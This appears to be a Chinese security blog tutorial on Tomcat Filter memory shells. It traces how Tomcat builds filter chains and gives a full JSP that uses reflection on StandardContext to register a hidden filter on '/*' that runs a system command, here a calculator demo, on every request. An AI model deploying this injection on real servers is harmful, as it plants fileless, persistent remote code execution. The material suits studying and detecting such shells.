当前位置: 首页 > news >正文

内存马二:Filter

Filter内存马

源码学习

首先写一个普通的Filter了解一下重点数据的传递过程,断点到内部的一行,往上找。

回到的是org.apache.catalina.core.ApplicationFilterChain#internalDoFilter,这部分找到filters

找filters的赋值的地方,找到ApplicationFilterChain#addFilter有两个被调用的地方,很近,随便点一个

现在我们在ApplicationFilterFactory#createFilterChain,观察一下逻辑:遍历filtermaps,找到对应name的config加进filterChain。现在的重点关注对象就是两个数据filterConfig和filterMaps,都是从StandardContext获取的

去看StandardContext中的这两个数据。

先看filterConfigs的赋值的地方,找到StandardContext#filterStart,观察filterConfig的KV就是来自filterDefs。也就是说在filterDefs放入数据后再调用filterStart就可以实现filterConfig的赋值。

再看filterMaps,一样的方法,发现都出了StandardContext了,直接在StandardContext里改值就行了

编写思路
  1. 写一个恶意filter类
  2. 拿到StandardContext
  3. filterDefs加一个值
  4. filterMaps加一个值
  5. 调用filterStart方法

注:要先加filterDef再加filterMap,因为加filterMap时会先验证filterDef中有没有,没有会抛异常

访问这个jsp页面后filter会被加载到内存中,再次发出符合filter过滤条件的请求时将触发恶意的TomcatFilterShell#doFilter

完整代码
<%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %><%-- <%--一个恶意filter类--%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class TomcatFilterShell implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("AddTomcatFilter initialized"); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { Runtime.getRuntime().exec("open -a Calculator");//macos chain.doFilter(request, response); } @Override public void destroy() { System.out.println("AddTomcatFilter destroyed"); } } %> <% try{ String filterName = "filterShell"; // 1.从request中获取servletContext ServletContext servletContext = request.getServletContext(); // 从servletContext中获取applicationContext Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); // 从applicationContext中获取standardContext Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); // 2、filterDef加入值 FilterDef filterDef = new FilterDef(); filterDef.setFilterName(filterName); filterDef.setFilterClass(TomcatFilterShell.class.getName()); filterDef.setFilter(new TomcatFilterShell()); standardContext.addFilterDef(filterDef); standardContext.addFilterDef(filterDef); // 3、filterMaps加入值 FilterMap filterMap = new FilterMap(); filterMap.setFilterName(filterName); filterMap.addURLPattern("/*"); standardContext.addFilterMapBefore(filterMap); // 4、调用filterStart方法 standardContext.filterStart(); out.println("Filter注入成功"); }catch (Exception e){ e.printStackTrace(); out.println("Filter注入失败"); } %>
参考内容

https://su18.org/post/memory-shell/

https://www.bilibili.com/video/BV1HaGPzcENy

http://www.jsqmd.com/news/473681/

相关文章:

  • ESP32-C3驱动4*4矩阵键盘与OLED显示屏的交互实现
  • Stable Diffusion Anything V5保姆级教程:从部署到生成第一张二次元图
  • 从生肖款918g大礼袋到新品礼盒装,新年限定零食礼包推荐怎么选更稳 - Top品牌推荐官
  • 龙虾三啖:白话OpenClaw
  • Activiti7进阶(流程定义+流程实例+任务负责人+任务候选人)
  • PGP加密解密原理详解:为什么说它是保护隐私的最后防线?
  • JavaScript 深度学习(五)
  • Kettle实战进阶 第10篇 JavaScript脚本中的高效日志调试技巧
  • 软件架构师工作心得
  • KITTI 3D 数据可视化:从点云到鸟瞰图的实战解析
  • RMBG-2.0智能抠图工具快速部署指南:双击启动,打开浏览器就能用
  • 巧用Kafka报文模拟工具:从零搭建测试环境到精准验证消费逻辑
  • 【实战拆解】从硬实时到软服务:AUTOSAR CP/AP混合架构的落地挑战与选型指南
  • VSCode安装灵毓秀-牧神-造相Z-Turbo开发环境教程
  • Qwen2.5-VL快速入门:Ollama部署教程,图片识别对话一学就会
  • 北京上门回收大活络丸!本草拾光商行高价收,懂行护宝不辜负,时效无忧 - 品牌排行榜单
  • Flink实战:如何用KeyedProcessFunction实现温度异常检测(附完整代码)
  • WSL2网络服务外网访问实战:从局域网到移动端的无缝连接
  • Asian Beauty Z-Image Turbo 本地化部署精讲:OpenClaw社区部署经验与踩坑记录
  • SAR动目标检测系列:【5】多基线联合处理下的三维速度解耦
  • Godot游戏练习01-第9节-游戏轮次
  • ESP32 GPIO底层架构:IO MUX与交换矩阵深度解析
  • GD32VW553驱动TCS34725颜色传感器:I2C通信与RGB/HSL数据采集实战
  • C++中的装饰器模式高级应用
  • javascript零基础入门指南:用快马平台生成你的第一个交互式计算器
  • Ubuntu20.04下拯救者笔记本亮度调节失效?NVIDIA驱动加载顺序问题全解析
  • 新年限定零食礼包推荐:把红色版面、拜年元素和节庆仪式感装进一盒 - Top品牌推荐官
  • 3.11 PowerBI矩阵可视化进阶:利用计算组实现动态小计与多条件格式配置
  • AI人脸隐私卫士作品集:智能自动打码系统真实处理效果
  • vLLM+Chainlit组合为何适合glm-4-9b-chat-1m?技术选型深度解析